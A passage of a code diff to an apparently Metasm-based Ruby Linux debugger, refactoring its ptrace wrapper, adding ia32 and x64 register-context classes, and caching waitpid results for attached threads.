     faccessat pselect6 ppoll unshare set_robust_list get_robust_list splice sync_file_range tee vmsplice
     move_pages   getcpu  epoll_pwait  utimensat   signalfd  timerfd  eventfd  fallocate  timerfd_settime
-           timerfd_gettime  signalfd4   eventfd2  epoll_create1   dup3   pipe2  inotify_init1   preadv  pwritev
+    timerfd_gettime  signalfd4   eventfd2  epoll_create1   dup3   pipe2  inotify_init1   preadv  pwritev
     rt_tg_sigqueueinfo perf_counter_open].inject({}) { |h, sc| h.update sc => h.length }
   SYSCALLNR_I386.update SYSCALLNR_I386.invert
-  
+
   SYSCALLNR_X86_64 = %w[read write open close stat fstat lstat poll lseek mmap mprotect munmap brk rt_sigaction
     rt_sigprocmask  rt_sigreturn ioctl  pread64 pwrite64  readv  writev access  pipe select  sched_yield
     mremap  msync  mincore  madvise  shmget  shmat  shmctl dup  dup2  pause  nanosleep  getitimer  alarm
@@ -341,7 +411,7 @@ typedef unsigned __int32 __uid_t;
 typedef uintptr_t sigval_t;
 typedef long __clock_t;
 
-typedef struct siginfo {
+struct siginfo {
     int si_signo;
     int si_errno;
     int si_code;
@@ -377,138 +447,162 @@ typedef struct siginfo {
             long int si_band;	/* Band event for SIGPOLL.  */
             int si_fd;
         } _sigpoll;
+        struct {                /* SIGSYS under SECCOMP */
+            uintptr_t si_calladdr; /* calling insn address */
+            int si_syscall;     /* triggering syscall nr */
+            int si_arch;        /* AUDIT_ARCH_* for syscall */
+        } _sigsys;
     };
-} siginfo_t;
+};
 EOS
 
   def sys_ptrace(req, pid, addr, data)
-    data = str_ptr(data) if data.kind_of?(String)
-    addr = [addr].pack(@packint).unpack(@packint).first
-    data = [data].pack(@packint).unpack(@packint).first
-    Kernel.syscall(@host_syscallnr['ptrace'], req, pid, addr, data)
+    ret = @sys_ptrace.ptrace(req, pid, addr, data)
+    if ret < 0 and ret > -256
+      raise SystemCallError.new("ptrace #{COMMAND.index(req) || req}", -ret)
+    end
+    ret
   end
 
   def traceme
-    sys_ptrace(COMMAND['TRACEME'],  0, 0, 0)
+    sys_ptrace(COMMAND[:TRACEME], 0, 0, 0)
   end
 
   def peektext(addr)
-    sys_ptrace(COMMAND['PEEKTEXT'], @pid, addr, @bufptr)
+    sys_ptrace(COMMAND[:PEEKTEXT], @pid, addr, @buf)
     @buf
   end
 
   def peekdata(addr)
-    sys_ptrace(COMMAND['PEEKDATA'], @pid, addr, @bufptr)
+    sys_ptrace(COMMAND[:PEEKDATA], @pid, addr, @buf)
     @buf
   end
 
   def peekusr(addr)
-    sys_ptrace(COMMAND['PEEKUSR'],  @pid, @host_intsize*addr, @bufptr)
-    bufval & ((1 << ([@host_intsize, @intsize].min*8)) - 1)
+    sys_ptrace(COMMAND[:PEEKUSR],  @pid, @host_intsize*addr, @buf)
+    @peekmask ||= (1 << ([@host_intsize, @intsize].min*8)) - 1
+    bufval & @peekmask
   end
 
   def poketext(addr, data)
-    sys_ptrace(COMMAND['POKETEXT'], @pid, addr, data.unpack(@packint).first)
+    sys_ptrace(COMMAND[:POKETEXT], @pid, addr, data.unpack(@packint).first)
   end
 
   def pokedata(addr, data)
-    sys_ptrace(COMMAND['POKEDATA'], @pid, addr, data.unpack(@packint).first)
+    sys_ptrace(COMMAND[:POKEDATA], @pid, addr, data.unpack(@packint).first)
   end
 
   def pokeusr(addr, data)
-    sys_ptrace(COMMAND['POKEUSR'],  @pid, @host_intsize*addr, data)
+    sys_ptrace(COMMAND[:POKEUSR],  @pid, @host_intsize*addr, data)
   end
 
   def getregs(buf=nil)
+    buf = buf.str if buf.respond_to?(:str)	# AllocCStruct
     buf ||= [0].pack('C')*512
-    sys_ptrace(COMMAND['GETREGS'], @pid, 0, buf)
+    sys_ptrace(COMMAND[:GETREGS], @pid, 0, buf)
     buf
   end
   def setregs(buf)
-    sys_ptrace(COMMAND['SETREGS'], @pid, 0, buf)
+    buf = buf.str if buf.respond_to?(:str)
+    sys_ptrace(COMMAND[:SETREGS], @pid, 0, buf)
   end
 
   def getfpregs(buf=nil)
+    buf = buf.str if buf.respond_to?(:str)
     buf ||= [0].pack('C')*1024
-    sys_ptrace(COMMAND['GETFPREGS'], @pid, 0, buf)
+    sys_ptrace(COMMAND[:GETFPREGS], @pid, 0, buf)
     buf
   end
   def setfpregs(buf)
-    sys_ptrace(COMMAND['SETFPREGS'], @pid, 0, buf)
+    buf = buf.str if buf.respond_to?(:str)
+    sys_ptrace(COMMAND[:SETFPREGS], @pid, 0, buf)
   end
 
   def getfpxregs(buf=nil)
+    buf = buf.str if buf.respond_to?(:str)
     buf ||= [0].pack('C')*512
-    sys_ptrace(COMMAND['GETFPXREGS'], @pid, 0, buf)
+    sys_ptrace(COMMAND[:GETFPXREGS], @pid, 0, buf)
     buf
   end
   def setfpxregs(buf)
-    sys_ptrace(COMMAND['SETFPXREGS'], @pid, 0, buf)
+    buf = buf.str if buf.respond_to?(:str)
+    sys_ptrace(COMMAND[:SETFPXREGS], @pid, 0, buf)
   end
 
   def get_thread_area(addr)
-    sys_ptrace(COMMAND['GET_THREAD_AREA'],  @pid, addr, @bufptr)
+    sys_ptrace(COMMAND[:GET_THREAD_AREA],  @pid, addr, @buf)
     bufval
   end
   def set_thread_area(addr, data)
-    sys_ptrace(COMMAND['SET_THREAD_AREA'],  @pid, addr, data)
+    sys_ptrace(COMMAND[:SET_THREAD_AREA],  @pid, addr, data)
   end
 
   def prctl(addr, data)
-    sys_ptrace(COMMAND['ARCH_PRCTL'], @pid, addr, data)
+    sys_ptrace(COMMAND[:ARCH_PRCTL], @pid, addr, data)
   end
-  
+
   def cont(sig = nil)
     sig ||= 0
-    sys_ptrace(COMMAND['CONT'], @pid, 0, sig)
+    sys_ptrace(COMMAND[:CONT], @pid, 0, sig)
   end
 
   def kill
-    sys_ptrace(COMMAND['KILL'], @pid, 0, 0)
+    sys_ptrace(COMMAND[:KILL], @pid, 0, 0)
   end
 
   def singlestep(sig = nil)
     sig ||= 0
-    sys_ptrace(COMMAND['SINGLESTEP'], @pid, 0, sig)
+    sys_ptrace(COMMAND[:SINGLESTEP], @pid, 0, sig)
   end
 
   def singleblock(sig = nil)
     sig ||= 0
-    sys_ptrace(COMMAND['SINGLEBLOCK'], @pid, 0, sig)
+    sys_ptrace(COMMAND[:SINGLEBLOCK], @pid, 0, sig)
   end
 
   def syscall(sig = nil)
     sig ||= 0
-    sys_ptrace(COMMAND['SYSCALL'], @pid, 0, sig)
+    sys_ptrace(COMMAND[:SYSCALL], @pid, 0, sig)
   end
 
   def attach
-    sys_ptrace(COMMAND['ATTACH'], @pid, 0, 0)
+    sys_ptrace(COMMAND[:ATTACH], @pid, 0, 0)
   end
 
   def detach
-    sys_ptrace(COMMAND['DETACH'], @pid, 0, 0)
+    sys_ptrace(COMMAND[:DETACH], @pid, 0, 0)
   end
 
   def setoptions(*opt)
     opt = opt.inject(0) { |b, o| b |= o.kind_of?(Integer) ? o : OPTIONS[o] }
-    sys_ptrace(COMMAND['SETOPTIONS'], @pid, 0, opt)
+    sys_ptrace(COMMAND[:SETOPTIONS], @pid, 0, opt)
   end
 
   # retrieve pid of cld for EVENT_CLONE/FORK, exitcode for EVENT_EXIT
   def geteventmsg
-    sys_ptrace(COMMAND['GETEVENTMSG'], @pid, 0, @bufptr)
+    sys_ptrace(COMMAND[:GETEVENTMSG], @pid, 0, @buf)
     bufval
   end
 
-  def getsiginfo
-    sys_ptrace(COMMAND['GETSIGINFO'], @pid, 0, @siginfo.str)
-    @siginfo
+  def cp
+    @cp ||= @tgcpu.new_cparser
   end
 
-  def setsiginfo(si=@siginfo)
+  def siginfo
+    @siginfo ||= (
+      cp.parse SIGINFO_C if not cp.toplevel.struct['siginfo']
+      cp.alloc_c_struct('siginfo')
+    )
+  end
+
+  def getsiginfo
+    sys_ptrace(COMMAND[:GETSIGINFO], @pid, 0, siginfo.str)
+    siginfo
+  end
+
+  def setsiginfo(si=siginfo)
     si = si.str if si.respond_to?(:str)
-    sys_ptrace(COMMAND['SETSIGINFO'], @pid, 0, si)
+    sys_ptrace(COMMAND[:SETSIGINFO], @pid, 0, si)
   end
 end
 
@@ -562,7 +656,7 @@ class LinOS < OS
     # read from /proc/pid/task/
     def threads
       Dir.entries("/proc/#{pid}/task/").grep(/^\d+$/).map { |tid| tid.to_i }
-           rescue
+    rescue
       # TODO handle pthread stuff (eg 2.4 kernels)
       [pid]
     end
@@ -593,7 +687,7 @@ class LinOS < OS
 
     def terminate
       kill
-  end
+    end
 
     def kill(signr=9)
       ::Process.kill(signr, @pid)
@@ -641,11 +735,29 @@ class LinuxRemoteString < VirtualString
     self.class.new(@pid, addr, len, dbg)
   end
 
-  def do_ptrace
+  def do_ptrace(needproc)
     if dbg
       dbg.switch_context(@pid) {
-        # XXX tid ?
-        yield dbg.ptrace if dbg.state == :stopped
+        st = dbg.state
+        next if st != :stopped
+        if needproc
+          # we will try to access /proc/pid/mem
+          # if the main thread is still running, fallback to ptrace.readmem instead
+          pst = (dbg.tid == @pid ? st : dbg.tid_stuff[@pid][:state])
+          if pst != :stopped
+            savedreadfd = @readfd
+            @readfd = nil
+            begin
+              yield dbg.ptrace
+            ensure
+              @readfd = savedreadfd
+            end
+          else
+            yield dbg.ptrace
+          end
+        else
+          yield dbg.ptrace
+        end
       }
     else
       PTrace.open(@pid) { |ptrace| yield ptrace }
@@ -654,11 +766,12 @@ class LinuxRemoteString < VirtualString
 
   def rewrite_at(addr, data)
     # target must be stopped
-    do_ptrace { |ptrace| ptrace.writemem(addr, data) }
+    wr = do_ptrace(false) { |ptrace| ptrace.writemem(addr, data) }
+    raise "couldn't ptrace_write at #{'%x' % addr}" if not wr
   end
 
   def get_page(addr, len=@pagelength)
-    do_ptrace { |ptrace|
+    do_ptrace(true) { |ptrace|
       begin
         if readfd and addr < (1<<63)
           # 1<<63: ruby seek = 'too big to fit longlong', linux read = EINVAL
@@ -675,6 +788,305 @@ class LinuxRemoteString < VirtualString
   end
 end
 
+class PTraceContext_Ia32 < PTrace
+  C_STRUCT = <<EOS
+struct user_regs_struct_ia32 {
+  unsigned __int32 ebx;
+  unsigned __int32 ecx;
+  unsigned __int32 edx;
+  unsigned __int32 esi;
+  unsigned __int32 edi;
+  unsigned __int32 ebp;
+  unsigned __int32 eax;
+  unsigned __int32 ds;
+  unsigned __int32 es;
+  unsigned __int32 fs;
+  unsigned __int32 gs;
+  unsigned __int32 orig_eax;
+  unsigned __int32 eip;
+  unsigned __int32 cs;
+  unsigned __int32 eflags;
+  unsigned __int32 esp;
+  unsigned __int32 ss;
+};
+
+struct user_fxsr_struct_ia32 {
+  unsigned __int16 cwd;
+  unsigned __int16 swd;
+  unsigned __int16 twd;
+  unsigned __int16 fop;
+  unsigned __int32 fip;
+  unsigned __int32 fcs;
+  unsigned __int32 foo;
+  unsigned __int32 fos;
+  unsigned __int32 mxcsr;
+  unsigned __int32 reserved;
+  unsigned __int32 st_space[32];   /* 8*16 bytes for each FP-reg = 128 bytes */
+  unsigned __int32 xmm_space[32];  /* 8*16 bytes for each XMM-reg = 128 bytes */
+  unsigned __int32 padding[56];
+};
+EOS
+
+  def initialize(ptrace, pid=ptrace.pid)
+    super(ptrace, :dup)
+    @pid = pid
+    @cp = ptrace.cp
+    init
+  end
+
+  def init
+    @gpr = @@gpr_ia32 ||= [:ebx, :ecx, :edx, :esi, :edi, :ebp, :eax,
+      :ds, :es, :fs, :gs, :orig_eax, :eip, :cs, :eflags,
+      :esp, :ss].inject({}) { |h, r| h.update r => true }
+    @gpr_peek = @@gpr_peek_ia32 ||= (0..7).inject({}) { |h, i|
+      h.update "dr#{i}".to_sym => REGS_I386["DR#{i}"] }
+    @gpr_sub = @@gpr_sub_ia32 ||= gpr_sub_init
+    @xmm = @@xmm_ia32 ||= [:cwd, :swd, :twd, :fop, :fip, :fcs, :foo,
+      :fos, :mxcsr].inject({}) { |h, r| h.update r => true }
+    @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_ia32']
+    @gpr_st = @xmm_st = nil
+  end
+
+  # :bh => [:ebx, 0xff, 8]
+  # XXX similar to Reg.symbolic... DRY
+  def gpr_sub_init
+    ret = {}
+    %w[a b c d].each { |r|
+      b = "e#{r}x".to_sym
+      ret["#{r}x".to_sym] = [b, 0xffff]
+      ret["#{r}l".to_sym] = [b, 0xff]
+      ret["#{r}h".to_sym] = [b, 0xff, 8]
+    }
+    %w[sp bp si di].each { |r|
+      b = "e#{r}".to_sym
+      ret[r.to_sym] = [b, 0xffff]
+    }
+    ret[:orig_rax] = [:orig_eax, 0xffff_ffff]
+    ret
+  end
+
+  def do_getregs
+    st = cp.alloc_c_struct('user_regs_struct_ia32')
+    getregs(st)
+    st
+  end
+
+  def do_setregs(st=@gpr_st)
+    setregs(st)
+  end
+
+  def do_getxmm
+    st = cp.alloc_c_struct('user_fxsr_struct_ia32')
+    getfpxregs(st)
+    st
+  end
+
+  def do_setxmm(st=@xmm_st)
+    setfpxregs(st)
+  end
+
+  def get_reg(r)
+    r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX'
+    rs = r.to_sym
+    if @gpr[rs]
+      @gpr_st ||= do_getregs
+      @gpr_st[rs]
+    elsif o = @gpr_peek[rs]
+      peekusr(o)
+    elsif o = @gpr_sub[rs]
+      v = get_reg(o[0])
+      v >>= o[2] if o[2]
+      v &= o[1]
+    elsif @xmm[rs]
+      @xmm_st ||= do_getxmm
+      @xmm_st[rs]
+    else
+      case r.to_s
+      when /^st(\d?)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.st_space
+        [fu[4*i], fu[4*i+1], fu[4*i+2]].pack('L*').unpack('D').first	# XXX
+      when /^mmx?(\d)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.st_space
+        fu[4*i] | (fu[4*i + 1] << 32)
+      when /^xmm(\d+)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.xmm_space
+        fu[4*i] | (fu[4*i + 1] << 32) | (fu[4*i + 2] << 64) | (fu[4*i + 3] << 96)
+      # TODO when /^ymm(\d+)$/i
+      else raise "unknown register name #{r}"
+      end
+    end
+  end
+
+  def set_reg(r, v)
+    r = r.downcase if r == 'ORIG_EAX' or r == 'ORIG_RAX'
+    rs = r.to_sym
+    if @gpr[rs]
+      @gpr_st ||= do_getregs
+      @gpr_st[rs] = v
+      do_setregs
+    elsif o = @gpr_peek[rs]
+      pokeusr(o, v)
+    elsif o = @gpr_sub[rs]
+      vo = get_reg(o[0])
+      msk = o[1]
+      v &= o[1]
+      if o[2]
+        msk <<= o[2]
+        v <<= o[2]
+      end
+      v |= vo & ~msk
+      set_reg(o[0], v)
+    elsif @xmm[rs]
+      @xmm_st ||= do_getxmm
+      @xmm_st[rs] = v
+      do_setxmm
+    else
+      case r.to_s
+      when /^st(\d?)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.st_space
+        fu[4*i], fu[4*i+1], fu[4*i+2] = [v, -1].pack('DL').unpack('L*')	# XXX
+        do_setxmm
+      when /^mmx?(\d)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.st_space
+        fu[4*i] = v & 0xffff_ffff
+        fu[4*i + 1] = (v >> 32) & 0xffff_ffff
+        do_setxmm
+      when /^xmm(\d+)$/i
+        i = $1.to_i
+        @xmm_st ||= do_getxmm
+        fu = @xmm_st.xmm_space
+        fu[4*i] = v & 0xffff_ffff
+        fu[4*i + 1] = (v >> 32) & 0xffff_ffff
+        fu[4*i + 2] = (v >> 64) & 0xffff_ffff
+        fu[4*i + 3] = (v >> 96) & 0xffff_ffff
+        do_setxmm
+      # TODO when /^ymm(\d+)$/i
+      else raise "unknown register name #{r}"
+      end
+    end
+  end
+end
+
+class PTraceContext_X64 < PTraceContext_Ia32
+  C_STRUCT = <<EOS
+struct user_regs_struct_x64 {
+  unsigned __int64 r15;
+  unsigned __int64 r14;
+  unsigned __int64 r13;
+  unsigned __int64 r12;
+  unsigned __int64 rbp;
+  unsigned __int64 rbx;
+  unsigned __int64 r11;
+  unsigned __int64 r10;
+  unsigned __int64 r9;
+  unsigned __int64 r8;
+  unsigned __int64 rax;
+  unsigned __int64 rcx;
+  unsigned __int64 rdx;
+  unsigned __int64 rsi;
+  unsigned __int64 rdi;
+  unsigned __int64 orig_rax;
+  unsigned __int64 rip;
+  unsigned __int64 cs;
+  unsigned __int64 rflags;
+  unsigned __int64 rsp;
+  unsigned __int64 ss;
+  unsigned __int64 fs_base;
+  unsigned __int64 gs_base;
+  unsigned __int64 ds;
+  unsigned __int64 es;
+  unsigned __int64 fs;
+  unsigned __int64 gs;
+};
+
+struct user_i387_struct_x64 {
+  unsigned __int16 cwd;
+  unsigned __int16 swd;
+  unsigned __int16 twd;    /* Note this is not the same as the 32bit/x87/FSAVE twd */
+  unsigned __int16 fop;
+  unsigned __int64 rip;
+  unsigned __int64 rdp;
+  unsigned __int32 mxcsr;
+  unsigned __int32 mxcsr_mask;
+  unsigned __int32 st_space[32];   /* 8*16 bytes for each FP-reg = 128 bytes */
+  unsigned __int32 xmm_space[64];  /* 16*16 bytes for each XMM-reg = 256 bytes */
+  unsigned __int32 padding[24];
+  // YMM ?
+};
+EOS
+
+  def init
+    @gpr = @@gpr_x64 ||= [:r15, :r14, :r13, :r12, :rbp, :rbx, :r11,
+      :r10, :r9, :r8, :rax, :rcx, :rdx, :rsi, :rdi, :orig_rax,
+      :rip, :cs, :rflags, :rsp, :ss, :fs_base, :gs_base, :ds,
+      :es, :fs, :gs].inject({}) { |h, r| h.update r => true }
+    @gpr_peek = @@gpr_peek_x64 ||= (0..7).inject({}) { |h, i|
+      h.update "dr#{i}".to_sym => REGS_X86_64["DR#{i}"] }
+    @gpr_sub = @@gpr_sub_x64 ||= gpr_sub_init
+    @xmm = @@xmm_x64 ||= [:cwd, :swd, :twd, :fop, :rip, :rdp, :mxcsr,
+      :mxcsr_mask].inject({}) { |h, r| h.update r => true }
+    @cp.parse C_STRUCT if not @cp.toplevel.struct['user_regs_struct_x64']
+    @gpr_st = @xmm_st = nil
+  end
+
+  def gpr_sub_init
+    ret = {}
+    %w[a b c d].each { |r|
+      b = "r#{r}x".to_sym
+      ret["e#{r}x".to_sym] = [b, 0xffff_ffff]
+      ret[ "#{r}x".to_sym] = [b, 0xffff]
+      ret[ "#{r}l".to_sym] = [b, 0xff]
+      ret[ "#{r}h".to_sym] = [b, 0xff, 8]
+    }
+    %w[sp bp si di].each { |r|
+      b = "r#{r}".to_sym
+      ret["e#{r}".to_sym] = [b, 0xffff_ffff]
+      ret[ "#{r}".to_sym] = [b, 0xffff]
+      ret["#{r}l".to_sym] = [b, 0xff]
+    }
+    (8..15).each { |i|
+      b = "r#{i}".to_sym
+      ret["r#{i}d"] = [b, 0xffff_ffff]
+      ret["r#{i}w"] = [b, 0xffff]
+      ret["r#{i}b"] = [b, 0xff]
+    }
+    ret[:eip] = [:rip, 0xffff_ffff]
+    ret[:eflags] = [:rflags, 0xffff_ffff]
+    ret[:orig_eax] = [:orig_rax, 0xffff_ffff]
+    ret
+  end
+
+  def do_getregs
+    st = cp.alloc_c_struct('user_regs_struct_x64')
+    getregs(st)
+    st
+  end
+
+  def do_setregs(st=@gpr_st)
+    setregs(st)
+  end
+
+  def do_getxmm
+    st = cp.alloc_c_struct('user_i387_struct_x64')
+    getfpregs(st)
+    st
+  end
+
+  def do_setxmm(st=@xmm_st)
+    setfpregs(st)
+  end
+end
+
 module ::Process
   WALL   = 0x40000000 if not defined? WALL
   WCLONE = 0x80000000 if not defined? WCLONE
@@ -683,10 +1095,10 @@ end
 # this class implements a high-level API over the ptrace debugging primitives
 class LinDebugger < Debugger
   # ptrace is per-process or per-thread ?
-  attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall
+  attr_accessor :ptrace, :continuesignal, :has_pax_mprotect, :target_syscall, :cached_waitpid
   attr_accessor :callback_syscall, :callback_branch, :callback_exec
 
-  def initialize(pidpath=nil)
+  def initialize(pidpath=nil, &b)
     super()
     @pid_stuff_list << :has_pax_mprotect << :ptrace	<< :breaking << :os_process
     @tid_stuff_list << :continuesignal << :saved_csig << :ctx << :target_syscall
@@ -696,15 +1108,14 @@ class LinDebugger < Debugger
 
     @callback_syscall = lambda { |i| log "syscall #{i[:syscall]}" }
     @callback_exec = lambda { |i| log "execve #{os_process.path}" }
+    @cached_waitpid = []
 
     return if not pidpath
 
-    begin
-      pid = Integer(pidpath)
-      attach(pid)
-    rescue ArgumentError
-      create_process(pidpath)
-    end
+    t = begin; Integer(pidpath)
+        rescue ArgumentError, TypeError
+        end
+    t ? attach(t) : create_process(pidpath, &b)
   end
 
   def shortname; 'lindbg'; end
@@ -715,11 +1126,18 @@ class LinDebugger < Debugger
     set_context(pt.pid, pt.pid)	# swapout+init_newpid
     log "attached #@pid"
     list_threads.each { |tid| attach_thread(tid) if tid != @pid }
+    set_tid @pid
   end
 
   # create a process and debug it
-  def create_process(path)
-    pt = PTrace.new(path, :create)
+  # if given a block, the block is run in the context of the ruby subprocess
+  # after the fork() and before exec()ing the target binary
+  # you can use it to eg tweak file descriptors:
+  #  tg_stdin_r, tg_stdin_w = IO.pipe
+  #  create_process('/bin/cat') { tg_stdin_w.close ; $stdin.reopen(tg_stdin_r) }
+  #  tg_stdin_w.write 'lol'
+  def create_process(path, &b)
+    pt = PTrace.new(path, :create, &b)
     # TODO save path, allow restart etc
     set_context(pt.pid, pt.pid)	# swapout+init_newpid
     log "attached #@pid"
@@ -727,10 +1145,10 @@ class LinDebugger < Debugger
 
   def initialize_cpu
     @cpu = os_process.cpu
-    # need to init @ptrace here, before init_dasm calls gui.swapin
+    # need to init @ptrace here, before init_dasm calls gui.swapin	XXX this stinks
     @ptrace = PTrace.new(@pid, false)
     if @cpu.size == 64 and @ptrace.reg_off['EAX']
-      hack_64_32
+      hack_x64_32
     end
     set_tid @pid
     set_thread_options
@@ -764,29 +1182,35 @@ class LinDebugger < Debugger
     os_process.modules
   end
 
-  # we're a 32bit process debugging a 64bit target
+  # We're a 32bit process debugging a 64bit target
   # the ptrace kernel interface we use only allow us a 32bit-like target access
-  # with this we advertize the cpu as having eax..edi registers (the only one we
+  # With this we advertize the cpu as having eax..edi registers (the only one we
   # can access), while still decoding x64 instructions (whose addr < 4G)
-  def hack_64_32
+  def hack_x64_32
     log "WARNING: debugging a 64bit process from a 32bit debugger is a very bad idea !"
-    @cpu.instance_eval {
-      ia32 = Ia32.new
-      @dbg_register_pc = ia32.dbg_register_pc
-      @dbg_register_flags = ia32.dbg_register_flags
-      @dbg_register_list = ia32.dbg_register_list
-      @dbg_register_size = ia32.dbg_register_size
-    }
+    ia32 = Ia32.new
+    @cpu.instance_variable_set('@dbg_register_pc', ia32.dbg_register_pc)
+    @cpu.instance_variable_set('@dbg_register_sp', ia32.dbg_register_sp)
+    @cpu.instance_variable_set('@dbg_register_flags', ia32.dbg_register_flags)
+    @cpu.instance_variable_set('@dbg_register_list', ia32.dbg_register_list)
+    @cpu.instance_variable_set('@dbg_register_size', ia32.dbg_register_size)
   end
 
   # attach a thread of the current process
   def attach_thread(tid)
     set_tid tid
     @ptrace.pid = tid
-      @ptrace.attach
-    @state = :stopped	# no need to wait()
+    @ptrace.attach
+    @state = :stopped
+    # store this waitpid so that we can return it in a future check_target
+    ::Process.waitpid(tid, ::Process::WALL)
+    # XXX can $? be safely stored?
+    @cached_waitpid << [tid, $?.dup]
     log "attached thread #{tid}"
     set_thread_options
+  rescue Errno::ESRCH
+    # raced, thread quitted already
+    del_tid
   end
 
   # set the debugee ptrace options (notify clone/exec/exit, and fork/vfork depending on @trace_children)
@@ -807,27 +1231,23 @@ class LinDebugger < Debugger
     super()
   end
 
-  # a hash of the current thread context
-  # TODO keys = :gpr, :fpu, :xmm, :dr ; val = AllocCStruct
-  # include accessors for st0/xmm12 (@ptrace.getfpregs.unpack etc)
+  # current thread register values accessor
   def ctx
-    @ctx ||= {}
+    @ctx ||= case @ptrace.host_csn
+       when 'ia32'; PTraceContext_Ia32.new(@ptrace, @tid)
+       when 'x64'; PTraceContext_X64.new(@ptrace, @tid)
+       else raise '8==D'
+       end
   end
 
   def get_reg_value(r)
-    raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase]
-    return ctx[r] || 0 if @state != :stopped
-    @ptrace.pid = @tid
-    ctx[r] ||= @ptrace.peekusr(k)
+    return 0 if @state != :stopped
+    ctx.get_reg(r)
   rescue Errno::ESRCH
     0
   end
   def set_reg_value(r, v)
-    raise "bad register #{r}" if not k = @ptrace.reg_off[r.to_s.upcase]
-    ctx[r] = v
-    return if @state != :stopped
-    @ptrace.pid = @tid
-    @ptrace.pokeusr(k, v)
+    ctx.set_reg(r, v)
   end
 
   def update_waitpid(status)
@@ -851,14 +1271,14 @@ class LinDebugger < Debugger
       end
     elsif status.stopped?
       sig = status.stopsig & 0x7f
-      signame = PTrace::SIGNAL[sig] 
+      signame = PTrace::SIGNAL[sig]
       if signame == 'TRAP'
         if status.stopsig & 0x80 > 0
           # XXX int80 in x64 => syscallnr32 ?
           evt_syscall info.update(:syscall => @ptrace.syscallnr[get_reg_value(@ptrace.syscallreg)])
 
         elsif (status >> 16) > 0
-          case o = PTrace::WAIT_EXTENDEDRESULT[status >> 16]
+          case PTrace::WAIT_EXTENDEDRESULT[status >> 16]
           when 'EVENT_FORK', 'EVENT_VFORK'
             # parent notification of a fork
             # child receives STOP (may have already happened)
@@ -870,6 +1290,7 @@ class LinDebugger < Debugger
             resume_badbreak
 
           when 'EVENT_EXIT'
+            @ptrace.pid = @tid
             info.update :exitcode => @ptrace.geteventmsg
             if @tid == @pid
               evt_endprocess info
@@ -885,6 +1306,7 @@ class LinDebugger < Debugger
           end
 
         else
+          @ptrace.pid = @tid
           si = @ptrace.getsiginfo
           case si.si_code
           when PTrace::SIGINFO['BRKPT'],
@@ -900,7 +1322,7 @@ class LinDebugger < Debugger
             @saved_csig = @continuesignal = sig
             info.update :signal => signame, :type => "SIG#{signame}"
             evt_exception info
-        end
+          end
         end
 
       elsif signame == 'STOP' and @info == 'new'
@@ -908,26 +1330,28 @@ class LinDebugger < Debugger
         if @pid == @tid
           attach(@pid, false)
           evt_newprocess info
-      else
+        else
           evt_newthread info
         end
 
       elsif signame == 'STOP' and @breaking
         @state = :stopped
         @info = 'break'
-          @breaking = nil
+        @breaking.call if @breaking.kind_of? Proc
+        @breaking = nil
 
-        else
+      else
         @saved_csig = @continuesignal = sig
         info.update :signal => signame, :type => "SIG#{signame}"
         if signame == 'SEGV'
           # need more data on access violation (for bpm)
           info.update :type => 'access violation'
+          @ptrace.pid = @tid
           si = @ptrace.getsiginfo
           access = case si.si_code
              when PTrace::SIGINFO['MAPERR']; :r	# XXX write access to unmapped => ?
              when PTrace::SIGINFO['ACCERR']; :w
-        end
+             end
           info.update :fault_addr => si.si_addr, :fault_access => access
         end
         evt_exception info
@@ -937,36 +1361,53 @@ class LinDebugger < Debugger
       evt_exception info.update(:type => "unknown wait #{status.inspect}")
     end
   end
-  
+
   def set_tid_findpid(tid)
     return if tid == @tid
-    if tid != @pid and pr = list_processes.find { |p| p.threads.include? tid }
-      set_pid pr.pid
+    if tid != @pid and !@tid_stuff[tid]
+      if kv = @pid_stuff.find { |k, v| v[:tid_stuff] and v[:tid_stuff][tid] }
+        set_pid kv[0]
+      elsif pr = list_processes.find { |p| p.threads.include?(tid) }
+        set_pid pr.pid
+      end
     end
     set_tid tid
   end
 
   def do_check_target
-    return unless t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL)
-    # XXX all threads may have stopped, wait them now ?
+    if @cached_waitpid.empty?
+      t = ::Process.waitpid(-1, ::Process::WNOHANG | ::Process::WALL)
+      st = $?
+    else
+      t, st = @cached_waitpid.shift
+    end
+    return if not t
     set_tid_findpid t
-    update_waitpid $?
+    update_waitpid st
+    true
   rescue ::Errno::ECHILD
   end
 
   def do_wait_target
-    t = ::Process.waitpid(-1, ::Process::WALL)
+    if @cached_waitpid.empty?
+      t = ::Process.waitpid(-1, ::Process::WALL)
+      st = $?
+    else
+      t, st = @cached_waitpid.shift
+    end
     set_tid_findpid t
-    update_waitpid $?
+    update_waitpid st
   rescue ::Errno::ECHILD
   end
 
   def do_continue
+    @state = :running
     @ptrace.pid = tid
     @ptrace.cont(@continuesignal)
   end
 
   def do_singlestep(*a)
+    @state = :running
     @ptrace.pid = tid
     @ptrace.singlestep(@continuesignal)
   end
@@ -975,10 +1416,21 @@ class LinDebugger < Debugger
   # regexp allowed to wait a specific syscall
   def syscall(arg=nil)
     arg = nil if arg and arg.strip == ''
-    return if not check_pre_run(:syscall, arg)
-    @target_syscall = arg
-    @ptrace.pid = @tid
-    @ptrace.syscall(@continuesignal)
+    if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active }
+      singlestep_bp(b) {
+        next if not check_pre_run(:syscall, arg)
+        @target_syscall = arg
+        @state = :running
+        @ptrace.pid = @tid
+        @ptrace.syscall(@continuesignal)
+      }
+    else
+      return if not check_pre_run(:syscall, arg)
+      @target_syscall = arg
+      @state = :running
+      @ptrace.pid = @tid
+      @ptrace.syscall(@continuesignal)
+    end
   end
 
   def syscall_wait(*a, &b)
@@ -990,9 +1442,19 @@ class LinDebugger < Debugger
   def singleblock
     # record as singlestep to avoid evt_singlestep -> evt_exception
     # step or block doesn't matter much here anyway
-    return if not check_pre_run(:singlestep)
-    @ptrace.pid = @tid
-    @ptrace.singleblock(@continuesignal)
+    if b = check_breakpoint_cause and b.hash_shared.find { |bb| bb.state == :active }
+      singlestep_bp(b) {
+        next if not check_pre_run(:singlestep)
